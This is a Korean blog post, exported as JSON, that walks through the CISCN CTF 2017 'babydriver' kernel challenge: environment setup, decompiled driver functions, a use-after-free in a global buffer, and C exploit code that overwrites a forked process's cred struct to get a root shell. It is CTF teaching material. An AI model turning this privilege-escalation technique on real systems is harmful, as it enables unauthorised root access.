{"id":658,"date":"2020-04-05T04:40:29","date_gmt":"2020-04-04T19:40:29","guid":{"rendered":"http:\/\/ipwn.kr\/?p=658"},"modified":"2020-04-07T21:54:09","modified_gmt":"2020-04-07T12:54:09","slug":"ciscn-ctf-2017-babydriver","status":"publish","type":"post","link":"http:\/\/ipwn.kr\/index.php\/2020\/04\/05\/ciscn-ctf-2017-babydriver\/","title":{"rendered":"[CISCN CTF 2017] babydriver"},"content":{"rendered":"<h1>CISCN CTF 2017 babydriver<\/h1>\n<hr>\n<p>\ucee4\ub110\uc5d0 \ub300\ud55c \uae30\ubcf8 \uc0c1\uc2dd\uc744 \uc815\ub9ac\ud574\ub193\uc558\uc2b5\ub2c8\ub2e4.<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"CjpZ7pQ7cf\"><p><a href=\"http:\/\/ipwn.kr\/index.php\/2020\/04\/04\/kernel-linux-kernel-exploit-basic\/\">[Kernel] Linux kernel exploit basic<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;[Kernel] Linux kernel exploit basic&#8221; &#8212; ipwn\" src=\"http:\/\/ipwn.kr\/index.php\/2020\/04\/04\/kernel-linux-kernel-exploit-basic\/embed\/#?secret=CjpZ7pQ7cf\" data-secret=\"CjpZ7pQ7cf\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n<h2>\ubaa9\ucc28<\/h2>\n<hr>\n<ul>\n<li>Environment setup\n<ul>\n<li>Extract file<\/li>\n<li>Extract vmlinux<\/li>\n<li>Remote kernel debugging<\/li>\n<\/ul>\n<\/li>\n<li>Analysis<\/li>\n<li>Exploit<\/li>\n<\/ul>\n<h2>Environment setup<\/h2>\n<hr>\n<h3>Extract file<\/h3>\n<p>\uc555\ucd95 \ud30c\uc77c\uc5d0 \uc5b4\ub5a4 \ud30c\uc77c\uc774 \ub4e4\uc5b4\uc788\ub294\uc9c0 \ud655\uc778\ud574\ubd05\uc2dc\ub2e4.<\/p>\n<p><strong>babydriver.zip<\/strong><\/p>\n<pre><code class=\"language-nothing \">babydriver\/\n\u251c\u2500\u2500 boot.sh\n\u251c\u2500\u2500 bzImage\n\u2514\u2500\u2500 rootfs.cpio\n<\/code><\/pre>\n<p>\uc774\ub807\uac8c \ud30c\uc77c\ub4e4\uc774 \ub4e4\uc5b4\uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<p><code>bzImage<\/code>\ud30c\uc77c\uc740 kernel\ud30c\uc77c\uc774\ubbc0\ub85c \uc81c\uc678\ud558\uace0 <code>boot.sh<\/code>\ud30c\uc77c\uacfc <code>rootfs.cpio<\/code>\ud30c\uc77c\uc744 \ud655\uc778\ud574\ubd05\uc2dc\ub2e4.<\/p>\n<p><strong>boot.sh<\/strong><\/p>\n<pre><code class=\"language-bash \">#!\/bin\/bash\n\nqemu-system-x86_64 \\\n-initrd rootfs.cpio -kernel bzImage \\\n-append 'console=ttyS0 root=\/dev\/ram oops=panic panic=1' \\\n-enable-kvm -monitor \/dev\/null -m 64M \\\n--nographic  -smp cores=1,threads=1 -cpu kvm64,+smep\n<\/code><\/pre>\n<p>\uba54\ubaa8\ub9ac\ub294 <code>64mb<\/code>\ub9cc\ud07c \ud560\ub2f9\ud558\uace0, <code>smep<\/code>\ubcf4\ud638\uae30\ubc95\uc744 \uac78\uc5b4\ub1a8\uc2b5\ub2c8\ub2e4. \uadf8\ub9ac\uace0 <code>kvm<\/code>\uc744 \uc0ac\uc6a9\ud558\uace0 \uc788\ub2e4\ub294 \uac78 \uc54c \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\uc800\ud76c\ub294 \ucd94\ud6c4\uc5d0 \ucee4\ub110\uc744 \ub514\ubc84\uae45\ud558\uae30 \uc704\ud574\uc11c <code>qemu<\/code>\ub85c \ubd80\ud305\ud574\uc900 \ucee4\ub110\uc5d0 <code>gdb<\/code> \uc11c\ubc84\ub97c \uc5f4\uc5b4\uc918\uc57c \ud569\ub2c8\ub2e4.<\/p>\n<p>\ubc29\ubc95\uc740 \uac04\ub2e8\ud55c\ub370, <code>qemu<\/code>\ub85c \ubd80\ud305\ud560 \ub54c <code>-s<\/code>\uc635\uc158\uc744 \ucd94\uac00\ud574\uc8fc\uba74 \ubd80\ud305\ud560 \ub54c \uc790\ub3d9\uc73c\ub85c <code>1234<\/code>\ubc88 \ud3ec\ud2b8\ub85c <code>gdb<\/code> \uc11c\ubc84\uac00 \uc5f4\ub9bd\ub2c8\ub2e4.<\/p>\n<p>\ub610, \ub9cc\uc57d <code>kernel panic<\/code>\uc774 \ubc1c\uc0dd\ud558\uba74 <code>-m 64M<\/code>\uc635\uc158\uc5d0\uc11c \uba54\ubaa8\ub9ac \ud06c\uae30\ub97c \uc801\ub2f9\ud788 \ud06c\uac8c \ub298\ub824\uc11c \ud560\ub2f9\ud574\uc8fc\uba74 \uc798 \ub3cc\uc544\uac11\ub2c8\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/ipwn.kr\/wp-content\/uploads\/2020\/04\/vmware_kvm_set.png\" alt=\"\" \/><\/p>\n<p><code>vmware<\/code>\ub294 \uae30\ubcf8\uc801\uc73c\ub85c <code>kvm<\/code>\uc774 \uc2e4\ud589\uc774 \uc548\ub418\ubbc0\ub85c cpu\uc124\uc815\uc5d0\uc11c <code>Virtualize Inter VT-x\/EPT or AMD-V\/RVI<\/code>\uc744 \uccb4\ud06c\ud574\uc918\uc57c \ud569\ub2c8\ub2e4.<\/p>\n<p><strong>rootfs.cpio<\/strong><\/p>\n<pre><code class=\"language-nothing \">$ binwalk -e rootfs.cpio 1&gt;\/dev\/null\n$ cd _rootfs.cpio.extracted\n$ binwalk -e 0 1&gt;\/dev\/null\n$ cd _0.extracted\n$ ls -al\ntotal 2782\ndrwxrwxrwx 1 root root       0 Apr  2 00:22 .\ndrwxrwxrwx 1 root root       0 Apr  2 00:22 ..\n-rwxrwxrwx 1 root root 2844672 Apr  2 00:22 0.cpio\ndrwxrwxrwx 1 root root    4096 Apr  2 00:22 cpio-root\n<\/code><\/pre>\n<p>\uc774\ub807\uac8c <code>.cpio<\/code> file\uc744 extract\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<p>(\ubaa8\ub4e0 kernel\ubb38\uc81c\uac00 \ub2e4 \uadf8\ub7f0\uc9c0\ub294 \ubaa8\ub974\uaca0\uc9c0\ub9cc, \uc774 \ubb38\uc81c\uc5d0\uc11c \ucde8\uc57d\uc810\uc774 \uc874\uc7ac\ud558\ub294 \ud30c\uc77c\uc740 <code>cpio-root\/lib\/modules\/4.4.72\/babydriver.ko<\/code>\uc785\ub2c8\ub2e4.)<\/p>\n<h3>Extract vmlinux<\/h3>\n<p>\uc774 \ubb38\uc81c\ub294 <code>vmlinux<\/code>\ud30c\uc77c\uc744 \uc81c\uacf5\ud574\uc8fc\uc9c0 \uc54a\uc544\uc11c, bzImage\ucee4\ub110 \ud30c\uc77c\uc5d0\uc11c extract\ud574\uc57c \ud569\ub2c8\ub2e4.<\/p>\n<pre><code class=\"language-nothing \">apt install linux-headers-<span class=\"katex math inline\">(uname -r)\n\/usr\/src\/linux-headers-<\/span>(uname -r)\/scripts\/extract-vmlinux bzImage &gt; vmlinux\n<\/code><\/pre>\n<p>\uc774\ub7ec\uba74 vmlinux\ud30c\uc77c\uc744 \uad6c\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\uc774\ub807\uac8c \ucd94\ucd9c\ud55c \ud30c\uc77c\uc740 \uc815\uc0c1\uc801\uc73c\ub85c \ube4c\ub4dc\ud55c vmlinux\ud30c\uc77c\uc774 \uc544\ub2c8\uae30 \ub54c\ubb38\uc5d0, \uc2ec\ubcfc\uc774 \uae68\uc9c4 \uc0c1\ud0dc (stripped)\uc785\ub2c8\ub2e4.<\/p>\n<p>\ud558\uc9c0\ub9cc rop gadget\uc744 \uad6c\ud560 \ub54c\ub098 \ub514\ubc84\uae45\uc744 \ud560 \ub54c \ud544\uc218\uc801\uc73c\ub85c \ud544\uc694\ud558\uae30 \ub54c\ubb38\uc5d0, \ubb38\uc81c\uc5d0\uc11c \uc81c\uacf5\ud574\uc8fc\ub294 \ud30c\uc77c\uc774 \uc5c6\ub2e4\uba74, \uc774\ub807\uac8c \uc9c1\uc811 \uad6c\ud574\uc8fc\uc5b4\uc57c \ud569\ub2c8\ub2e4.<\/p>\n<p>\uc2ec\ubcfc\uc740 \ucee4\ub110\uc744 \ubd80\ud305\ud55c \ub4a4 user \uad8c\ud55c\uc73c\ub85c <code>\/proc\/kallsyms<\/code> \ud30c\uc77c\uc744 \uc77d\uc5b4\uc11c \uad6c\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\ub9cc\uc57d\uc5d0 \uc548 \ub41c\ub2e4\uba74 <code>init<\/code>\ud30c\uc77c\uc744 \uc218\uc815\ud574\uc11c <code>root<\/code> \uad8c\ud55c\uc73c\ub85c \uc2ec\ubcfc\uc744 \ubf51\uc544\ub0b4\uba74 \ub429\ub2c8\ub2e4.<\/p>\n<pre><code class=\"language-nothing \">find . | cpio -o --format=newc &gt; .\/rootfs.cpio\n<\/code><\/pre>\n<p>\ud604\uc7ac \ub514\ub809\ud1a0\ub9ac\uc758 \ubaa8\ub4e0 file\ub4e4\uc744 cpio\ub85c \ud569\uce58\ub294 \uba85\ub839\uc5b4\uc785\ub2c8\ub2e4.<\/p>\n<p><code>\/proc\/kallsyms<\/code>\ud30c\uc77c\uc744 user\uad8c\ud55c\uc73c\ub85c \uc77d\uc744 \uc218 \uc5c6\ub2e4\uba74 <code>init<\/code>\ud30c\uc77c\uc744 \uc218\uc815\ud558\uace0 \uc704\uc640\uac19\uc774 cpio\ub85c \ubb36\uc5b4\uc900 \ub4a4, root \uad8c\ud55c\uc73c\ub85c \uc2ec\ubcfc\uc744 \uc77d\uc5b4\uc62c \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<h3>Remote kernel debugging<\/h3>\n<p>\uac00\uc7a5 \uba3c\uc800 \ud130\ubbf8\ub110\uc744 \ucd94\uac00\uc801\uc73c\ub85c \ud558\ub098 \ub354 \uc5f4\uc5b4\uc8fc\uace0 \ucee4\ub110\uc744 \ubd80\ud305\ud574\uc90d\ub2c8\ub2e4.<\/p>\n<p>\ud130\ubbf8\ub110\uc5d0\uc11c <code>\/sys\/module\/babydriver\/sections<\/code>\uacbd\ub85c\uc5d0\uc11c base \uc8fc\uc18c\ub97c \uad6c\ud574\uc90d\ub2c8\ub2e4.<\/p>\n<pre><code class=\"language-nothing \">$ cd \/sys\/module\/babydriver\/sections\n$ ls -al\ntotal 0\ndrwxr-xr-x    2 root     root             0 Apr  3 17:30 .\ndrwxr-xr-x    5 root     root             0 Apr  3 17:30 ..\n-r--r--r--    1 root     root          4096 Apr  3 17:30 .bss\n-r--r--r--    1 root     root          4096 Apr  3 17:30 .data\n-r--r--r--    1 root     root          4096 Apr  3 17:30 .exit.text\n-r--r--r--    1 root     root          4096 Apr  3 17:30 .gnu.linkonce.this_module\n-r--r--r--    1 root     root          4096 Apr  3 17:30 .init.text\n-r--r--r--    1 root     root          4096 Apr  3 17:30 .note.gnu.build-id\n-r--r--r--    1 root     root          4096 Apr  3 17:30 .rodata.str1.1\n-r--r--r--    1 root     root          4096 Apr  3 17:30 .strtab\n-r--r--r--    1 root     root          4096 Apr  3 17:30 .symtab\n-r--r--r--    1 root     root          4096 Apr  3 17:30 .text\n-r--r--r--    1 root     root          4096 Apr  3 17:30 __mcount_loc\n$ cat .text\n0xffffffffc0000000\n$ cat .bss\n0xffffffffc0002440\n$ cat .data\n0xffffffffc0002000\n$ cat .exit.text\n0xffffffffc0000170\n<\/code><\/pre>\n<p>\uc774\ub7f0\uc2dd\uc73c\ub85c base \uc8fc\uc18c\ub97c \uad6c\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. (<code>KASLR<\/code>\uc774 \uaebc\uc838\uc788\uc5b4\uc11c \uace0\uc815\uc801\uc778 \uc8fc\uc18c\uc785\ub2c8\ub2e4.)<\/p>\n<p>kernel base : 0xffffffffc0000000<\/p>\n<pre><code class=\"language-nothing \">$ gdb vmlinux -q\npwndbg&gt; add-symbol-file cpio-root\/lib\/modules\/4.4.72\/babydriver.ko 0xffffffffc0000000\npwndbg&gt; target remote 0:1234\n<\/code><\/pre>\n<p><code>add-symbol-file &lt;module_path&gt; &lt;base_addr&gt;<\/code> \uba85\ub839\uc5b4\ub97c \ud1b5\ud574 \uc544\uae4c \uad6c\ud55c \ucee4\ub110 \ubca0\uc774\uc2a4\ub97c \ubca0\uc774\uc2a4\ub85c \ubaa8\ub4c8\uc758 \uc2ec\ubcfc\uc744 \uc801\uc6a9\uc2dc\ud0b5\ub2c8\ub2e4.<\/p>\n<p><code>target remote &lt;host&gt;:&lt;port&gt;<\/code>\ub294 \ub514\ubc84\uac70\ub85c \ub9ac\ubaa8\ud2b8 \ub514\ubc84\uae45\uc744 attach\ud558\ub294 \uba85\ub839\uc5b4\uc785\ub2c8\ub2e4.<\/p>\n<p>\uc774\ub7ec\uba74 \ucee4\ub110 \ub514\ubc84\uae45\uc744 \uc704\ud55c attach\uac00 \uc131\uacf5\uc801\uc73c\ub85c \uc9c4\ud589\uc774 \ub429\ub2c8\ub2e4.<\/p>\n<p>(<code>\/proc\/kallsyms<\/code>\ud30c\uc77c\uc744 \uc2ec\ubcfc\ub85c \uc801\uc6a9\uc2dc\ud0a4\ub824\uba74 \ubc29\ubc95\uc774 \ubcf5\uc7a1\ud55c \uac83 \uac19\uae38\ub798 \uc77c\ub2e8\uc740 \uae30\ubcf8\uc801\uc778 \ubc29\ubc95\uc73c\ub85c \uc9c4\ud589\ud588\uc2b5\ub2c8\ub2e4.)<\/p>\n<p>\uc774\uc81c \ubd84\uc11d\uc744 \uc9c4\ud589\ud574\ubd05\uc2dc\ub2e4.<\/p>\n<h2>Analysis<\/h2>\n<hr>\n<p><code>babydriver.ko<\/code>\ud30c\uc77c\uc744 \ubd84\uc11d\ud574\ubd05\uc2dc\ub2e4.<\/p>\n<pre><code class=\"language-C \">int __fastcall babyrelease(inode *inode, file *filp)\n{\n  _fentry__(inode, filp);\n  kfree(babydev_struct.device_buf);\n  printk(\"device release\\n\");\n  return 0;\n}\n<\/code><\/pre>\n<p><code>babyrelease<\/code> \ud568\uc218\ub294 <code>\/dev\/babydev<\/code> device\ub97c <code>close<\/code>\ud560 \ub54c \uc2e4\ud589\ub418\ub294 \ud568\uc218\uc785\ub2c8\ub2e4.<\/p>\n<p><code>kfree<\/code>\ud568\uc218\ub85c \uc804\uc5ed\ubcc0\uc218\uc5d0 \uc800\uc7a5\ub41c heap \ud3ec\uc778\ud130\ub97c free\uc2dc\ud0a4\ub294\ub370, \uc804\uc5ed\ubcc0\uc218 \uac12\uc744 \ucd08\uae30\ud654\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\uc989 <code>dangling pointer<\/code> \ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud569\ub2c8\ub2e4.<\/p>\n<pre><code class=\"language-C \">int __fastcall babyopen(inode *inode, file *filp)\n{\n  _fentry__(inode, filp);\n  babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);\n  babydev_struct.device_buf_len = 64LL;\n  printk(\"device open\\n\");\n  return 0;\n}\n<\/code><\/pre>\n<p><code>babyopen<\/code>\ud568\uc218\ub294 <code>\/dev\/babydev<\/code> device\ub97c <code>open<\/code>\ud560 \ub54c \uc2e4\ud589\ub418\ub294 \ud568\uc218\uc778\ub370, \ud568\uc218\ub97c \ubcf4\uba74 0x40byte\ub9cc\ud07c \ud799\uc744 \ud560\ub2f9\ud574\uc11c <code>device_buf<\/code>\uc5d0 \ub123\uc5b4\uc8fc\uace0, 0x40 \uac12\uc744 \uadf8\ub300\ub85c <code>device_buf_len<\/code>\ubcc0\uc218\uc5d0 \ub123\uc2b5\ub2c8\ub2e4.<\/p>\n<pre><code class=\"language-C \">__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 size)\n{   \n  size_t v3; \/\/ rdx\n  size_t arg3_size; \/\/ rbx\n  __int64 result; \/\/ rax\n\n  _fentry__(filp, command);\n  arg3_size = v3;\n  if ( command == 65537 )\n  {\n    kfree(babydev_struct.device_buf);\n    babydev_struct.device_buf = _kmalloc(arg3_size, 37748928LL);\n    babydev_struct.device_buf_len = arg3_size;\n    printk(\"alloc done\\n\");\n    result = 0LL;\n  }\n  else\n  {\n    printk(&amp;byte_2EB);\n    result = -22LL;\n  }\n  return result;\n}\n<\/code><\/pre>\n<p><code>babyioctl<\/code>\ud568\uc218\ub294 <code>ioctl<\/code>\ud568\uc218\uc5d0 file descriptor\uc778\uc790\ub97c <code>babydevice<\/code>\ub85c \ub118\uaca8\uc8fc\uba74 \uc2e4\ud589\ub418\ub294 \ud568\uc218\uc785\ub2c8\ub2e4.<\/p>\n<p><code>command<\/code>\ubcc0\uc218\uc758 \uac12\uc774 65537\uc774\uba74, \ubc84\ud37c\ub97c free\ud55c \ub4a4, 3\ubc88\uc9f8 \uc778\uc790\uc758 \uac12\uc73c\ub85c \ubc84\ud37c\ub97c \uc7ac\ud560\ub2f9\ud569\ub2c8\ub2e4.<\/p>\n<p>\uadf8\ub9ac\uace0 <code>device_buf_len<\/code>\ubcc0\uc218\uc758 \uac12\uc744 3\ubc88\uc9f8 \uc778\uc790\uc758 \uac12\uc73c\ub85c \ubc14\uafd4\uc90d\ub2c8\ub2e4.<\/p>\n<pre><code class=\"language-C \">ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)\n{\n  size_t v4; \/\/ rdx\n  ssize_t result; \/\/ rax\n  ssize_t v6; \/\/ rbx\n\n  _fentry__(filp, buffer);\n  if ( !babydev_struct.device_buf )\n    return -1LL;\n  result = -2LL;\n  if ( babydev_struct.device_buf_len &gt; v4 )\n  {\n    v6 = v4;\n    copy_from_user(babydev_struct.device_buf, buffer, v4);\n    result = v6;\n  }\n  return result;\n}\n<\/code><\/pre>\n<p><code>babywrite<\/code>\ud568\uc218\ub294 heap \uc601\uc5ed\uc5d0 \uc6b0\ub9ac\uac00 \ub118\uaca8\uc900 buffer\uac12\uc744 3\ubc88\uc9f8 \uc778\uc790 \uae38\uc774\ub9cc\ud07c \ubcf5\uc0ac\ud574\uc90d\ub2c8\ub2e4.<\/p>\n<p>\ub9cc\uc57d <code>device_buf_len<\/code>\ubcc0\uc218\ubcf4\ub2e4 \ub354 \ud070 \uac12\uc744 3\ubc88\uc9f8 \uc778\uc790\ub85c \ub118\uae30\uba74 \uc544\ubb34 \ud589\ub3d9\ub3c4 \ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.<\/p>\n<pre><code class=\"language-C \">ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)\n{\n  size_t v4; \/\/ rdx\n  ssize_t result; \/\/ rax\n  ssize_t v6; \/\/ rbx\n\n  _fentry__(filp, buffer);\n  if ( !babydev_struct.device_buf )\n    return -1LL;\n  result = -2LL;\n  if ( babydev_struct.device_buf_len &gt; v4 )\n  {\n    v6 = v4;\n    copy_to_user(buffer, babydev_struct.device_buf, v4);\n    result = v6;\n  }\n  return result;\n}\n<\/code><\/pre>\n<p><code>babyread<\/code>\ud568\uc218\ub294 <code>babywrite<\/code>\ud568\uc218\uc640 \ubc18\ub300\ub85c \ucee4\ub110\uc758 heap \ub370\uc774\ud130\ub97c \uc720\uc800 space\uc758 \ubc84\ud37c\uc5d0 \uc801\uc5b4\uc90d\ub2c8\ub2e4.<\/p>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c \ub9cc\uc57d <code>device_buf_len<\/code>\ubcc0\uc218\ubcf4\ub2e4 \ub354 \ud070 \uac12\uc744 3\ubc88\uc9f8 \uc778\uc790\ub85c \ub118\uae30\uba74 \uc544\ubb34 \ud589\ub3d9\ub3c4 \ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\ub300\ucda9 \uc774\uc81c \uc5b4\ub5bb\uac8c \uc775\uc2a4\ud560\uc9c0 \uc2ac\uc2ac \uac10\uc774\uc635\ub2c8\ub2e4.<\/p>\n<h2>Exploit<\/h2>\n<hr>\n<p>\ub300\ucda9 \uc54c\uc544\ub0b8 \uc810\uc744 \uc815\ub9ac\ud558\uace0, \uc2dc\ub098\ub9ac\uc624\ub97c \uc0dd\uac01\ud574\ubd05\uc2dc\ub2e4.<\/p>\n<ol>\n<li>\uc5ec\ub7ec \ubc88 <code>device<\/code>\ub97c <code>open<\/code>\ud574\ub3c4, \uac19\uc740 \uc804\uc5ed\ubcc0\uc218\ub97c \uc0ac\uc6a9\ud568.<\/li>\n<li><code>close<\/code>\ud560 \ub54c \uc804\uc5ed\ubcc0\uc218 buffer\ub97c 0\uc73c\ub85c \ucd08\uae30\ud654\ud558\uc9c0 \uc54a\uc73c\ubbc0\ub85c <code>dangling pointer<\/code> \ucde8\uc57d\uc810 \ubc1c\uc0dd (<code>Use-After-Free<\/code>)<\/li>\n<\/ol>\n<p>\uad7f. \uc774\uc81c \uc2dc\ub098\ub9ac\uc624\ub97c \uc0dd\uac01\ud574\ubd05\uc2dc\ub2e4.<\/p>\n<ol>\n<li><code>device<\/code>\ub97c \ub450 \ubc88 <code>open<\/code>\ud574\uc11c \uac01\uac01 \ub2e4\ub978 \ubcc0\uc218\uc5d0 <code>fd<\/code>\ub97c \uc800\uc7a5\ud568.<\/li>\n<li>\uccab \ubc88\uc9f8 <code>fd<\/code>\ub97c \ud1b5\ud574 <code>ioctl<\/code>\uc744 \ud638\ucd9c\ud574\uc11c <code>cred<\/code>\uad6c\uc870\uccb4 \ud06c\uae30(0xa8 byte)\uc5d0 \ub9de\uac8c heap\uc601\uc5ed\uc744 \ud560\ub2f9\ud568.<\/li>\n<li>\uccab \ubc88\uc9f8 <code>fd<\/code>\ub97c <code>close<\/code>\ud568.<\/li>\n<li><code>fork<\/code>\ub97c \ud638\ucd9c\ud558\uba74 \uc804\uc5ed\ubcc0\uc218\uc758 buffer <code>heap<\/code>\uc5d0 \ud604\uc7ac \uad8c\ud55c\uc758 <code>cred<\/code>\uad6c\uc870\uccb4\uac00 \ud560\ub2f9\ub428.<\/li>\n<li>\ub450 \ubc88\uc9f8 <code>fd<\/code>\ub97c \ud1b5\ud574 <code>write<\/code>\ud568\uc218\ub97c \ud638\ucd9c\ud574\uc11c, <code>cred<\/code>\uad6c\uc870\uccb4 \uba64\ubc84\uc758 <code>id<\/code>\ub4e4\uc744 <code>root<\/code>\uad8c\ud55c\uc73c\ub85c \ubc14\uafd4\ubc84\ub9bc<\/li>\n<li><code>system(\"\/bin\/sh\")<\/code> => <code>get root<\/code>;<\/li>\n<\/ol>\n<pre><code class=\"language-C \">#include &lt;stdio.h&gt;\n#include &lt;sys\/ioctl.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;stdlib.h&gt;\n\nchar buf[0x200];\n\nint main() {\n    int fd1, fd2, pid;\n    fd1 = open(\"\/dev\/babydev\", O_RDWR);\n    fd2 = open(\"\/dev\/babydev\", O_RDWR);  \n    ioctl(fd1, 65537, 0xa8);\n    for (int i = 0; i &lt; 0xa8; ++i) buf[i] = 'A';\n    write(fd1, buf, 0xa7);\n    close(fd1);\n    pid = fork();\n    if(pid &lt; 0) {\n        puts(\"fork is failed..\");\n        puts(\"Something worng..\");\n        return 0;\n    }\n    if(pid == 0) {\n        ioctl(fd2, 65537, 0xa8);\n        for (int i = 0; i &lt; 0xa8; ++i) buf[i] = 'B';\n        write(fd2, buf, 0x38);\n        system(\"id\");\n    }\n    puts(\"Success!\");\n    return 0;\n}\n<\/code><\/pre>\n<p>\uc704 \ucf54\ub4dc\ub97c \ud1a0\ub300\ub85c <code>babywrite<\/code>\ud568\uc218\uc5d0 bp\ub97c \uac74 \ud6c4 \ud55c \ubc88 \ub514\ubc84\uae45\ud574\ubd05\uc2dc\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/ipwn.kr\/wp-content\/uploads\/2020\/04\/test_1.png\" alt=\"\" \/><\/p>\n<p>\ucc98\uc74c <code>babywrite<\/code>\ud568\uc218\uc758 bp\uc5d0 \uac78\ub9b0 \ud6c4 <code>copy_from_user<\/code>\ud568\uc218\uac00 \uc9c4\ud589\ub41c \uc774\ud6c4\uae4c\uc9c0 \uc9c4\ud589\ud574\ubcf4\uba74, <code>0xffff88000de64b40<\/code>\uc601\uc5ed\uc5d0 \ud799\uc774 \ud560\ub2f9\ub418\uc5b4, <code>'A'<\/code>\uac00 \uc798 \uc4f0\uc5ec\uc838\uc788\ub294 \uac83\uc744 \ud655\uc778\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\uacc4\uc18d \uc9c4\ud589\ud574\ubd05\uc2dc\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/ipwn.kr\/wp-content\/uploads\/2020\/04\/test_2.png\" alt=\"\" \/><\/p>\n<p>\ub610 <code>babywrite<\/code>\uc5d0 bp\uac00 \uac78\ub838\uc744 \ub54c \ub2e4\uc2dc \uadf8 \ud799 \uc601\uc5ed\uc744 \ub2e4\uc2dc \ud655\uc778\ud574\ubcf4\uba74, \uc544\uae4c <code>close<\/code>\ud568\uc73c\ub85c\uc368 free\uc2dc\ud0a8 \uc601\uc5ed\uc774\uc5c8\uae30\uc5d0, <code>fork()<\/code>\ub97c \uc9c4\ud589\ud588\uc744 \ub54c \ubcf5\uc0ac\ub41c <code>cred<\/code>\uad6c\uc870\uccb4\uac00 \ud560\ub2f9\ub418\uc5b4\uc788\ub294 \uac83\uc744 \ud655\uc778\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<pre><code class=\"language-C \">    ...\n\n    if(pid == 0) {\n        ioctl(fd2, 65537, 0xa8);\n        for (int i = 0; i &lt; 0xa8; ++i) buf[i] = 'B';\n        write(fd2, buf, 0x38);\n\n    ...\n<\/code><\/pre>\n<p>\uc774\uc81c \uc704 \ucf54\ub4dc \ubd80\ubd84\uc73c\ub85c \uc778\ud574, <code>fd2-&gt;device_buf<\/code>\uc640 <code>cred<\/code>\uad6c\uc870\uccb4\ub294 \uac19\uc740 \uc8fc\uc18c\uac12\uc744 \uac16\uac8c \ub418\uba70, \ub3d9\uc2dc\uc5d0 0x38\ub9cc\ud07c\uc758 \uc601\uc5ed\uc774 <code>'B'<\/code>\ub85c \ub36e\uc774\uac8c \ub429\ub2c8\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/ipwn.kr\/wp-content\/uploads\/2020\/04\/test_3.png\" alt=\"\" \/><\/p>\n<p>\uc774\uc81c <code>system(\"id\")<\/code>\uc758 \uacb0\uacfc\ub97c \ud55c \ubc88 \ubcfc\uae4c\uc694?<\/p>\n<pre><code class=\"language-bash \">$ .\/solve\n.\/solve\n[   36.908637] device open\n[   36.914202] device open\n[   36.916409] alloc done\n[   36.946315] device release\nSuccess!\n$ [   36.961888] alloc done\nuid=1111638594 gid=1111638594 groups=1000(ctf)\nSuccess!\n<\/code><\/pre>\n<p>\uc774\ub807\uac8c <code>uid<\/code>\uc640 <code>gid<\/code>\uac00 \ubc14\ub010 \uac83\uc744 \ud655\uc778\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\uc774\uc81c \ucf54\ub4dc\ub97c \uc870\uae08 \uc218\uc815\ud574\uc11c <code>root<\/code> \uc258\uc744 \ud68d\ub4dd\ud574\ubd05\uc2dc\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/ipwn.kr\/wp-content\/uploads\/2020\/04\/root.png\" alt=\"\" \/><\/p>\n<p>\uc131\uacf5\uc801\uc73c\ub85c <code>root<\/code>\uc258\uc744 \ud68d\ub4dd\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n<h3>solve.c<\/h3>\n<hr>\n<pre><code class=\"language-C \">#include &lt;stdio.h&gt;\n#include &lt;sys\/ioctl.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;sys\/wait.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;stdlib.h&gt;\n\nchar buf[0x200];\n\nint main() {\n    int fd1, fd2, pid;\n    fd1 = open(\"\/dev\/babydev\", O_RDWR);\n    fd2 = open(\"\/dev\/babydev\", O_RDWR);  \n    ioctl(fd1, 65537, 0xa8);\n    close(fd1);\n    pid = fork();\n\n    if(pid &lt; 0) {\n        puts(\"fork is failed..\");\n        puts(\"Something worng..\");\n        exit(-1);\n    }\n\n    else if(pid == 0) {  \n        ioctl(fd2, 65537, 0xa8);\n        for (int i = 0; i &lt; 0xa8; ++i) buf[i] = '\\x00';\n        write(fd2, buf, 0x38);\n        if(getuid() == 0) \n            system(\"\/bin\/sh\");\n        else puts(\"I don't know why..\");\n        exit(0);\n    }\n\n    else {\n        wait(0);\n    }\n    return 0;\n}\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>CISCN CTF 2017 babydriver \ucee4\ub110\uc5d0 \ub300\ud55c \uae30\ubcf8 \uc0c1\uc2dd\uc744 \uc815\ub9ac\ud574\ub193\uc558\uc2b5\ub2c8\ub2e4. [Kernel] Linux kernel exploit basic 